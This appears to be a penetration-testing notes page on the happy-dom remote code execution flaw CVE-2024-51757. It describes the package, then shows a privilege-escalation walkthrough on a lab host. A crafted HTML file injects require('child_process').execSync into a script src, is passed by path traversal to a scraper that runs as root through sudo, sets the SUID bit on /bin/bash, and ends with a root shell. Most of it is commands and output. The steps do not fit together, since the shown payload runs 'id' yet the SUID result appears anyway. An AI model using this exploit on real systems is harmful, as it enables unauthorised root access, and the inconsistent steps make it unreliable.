happy-dom

The happy-dom package is a lightweight, fast JavaScript implementation of the DOM (Document Object Model) and browser APIs designed for use in Node.js environments. It enables server-side manipulation and rendering of HTML content without requiring a full browser, making it popular for testing, scraping, and server-side rendering tasks.

RCE

Versions of happy-dom prior to 15.10.2 are affected by a RCE vulnerability (CVE-2024-51757) due to unsafe handling of JavaScript execution within the DOM environment. An attacker can inject arbitrary JavaScript code that the package executes without proper sandboxing or validation leading to RCE. A working PoC is available.

An example of leveraging this vulnerability can be seen below.

$ sudo -l

User wp_hub may run the following commands on wallpaperhub:
    (root) NOPASSWD: /usr/bin/web-scraper /root/web_src_downloaded/*.html

$ file /usr/bin/web-scraper
/usr/bin/web-scraper: symbolic link to /opt/scraper/scraper.js

$ ls -l /opt/scraper/scraper.js
-rwxr-xr-x 1 root root 1659 Feb 11 10:11 /opt/scraper/scraper.js

$ cat /opt/scraper/scraper.js
#!/usr/bin/env node

const fs = require('fs');
const { Window } = require("happy-dom");
<SNIP>


# Create a payload script that sets the SUID bit on /bin/bash.
$ cat /tmp/pwn
chmod +u+s /bin/bash

Next, a malicious HTML file needs to be created that exploits happy-dom’s HTML parsing vulnerability. The <script> tag has a src attribute with an injected Node.js require() call to execute our payload.

$ cat /tmp/pwn.html
`<script src="https://192.168.45.170:80/'+require('child_process').execSync('id')+'"></script>`

# Execute the vulnerable web-scraper command as root, passing the malicious HTML file via path traversal.
$ sudo /usr/bin/web-scraper /root/web_src_downloaded/../../tmp/pwn.html
<SNIP>
Node.js v18.19.1
----------------------------
CSS Links:
----------------------------
JavaScript Links:
https://192.168.45.170:80/'+require('child_process').execSync('id')+'
----------------------------
Meta Tags:
----------------------------

$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1446024 Mar 31  2024 /bin/bash

$ /bin/bash -p

Last updated

Was this helpful?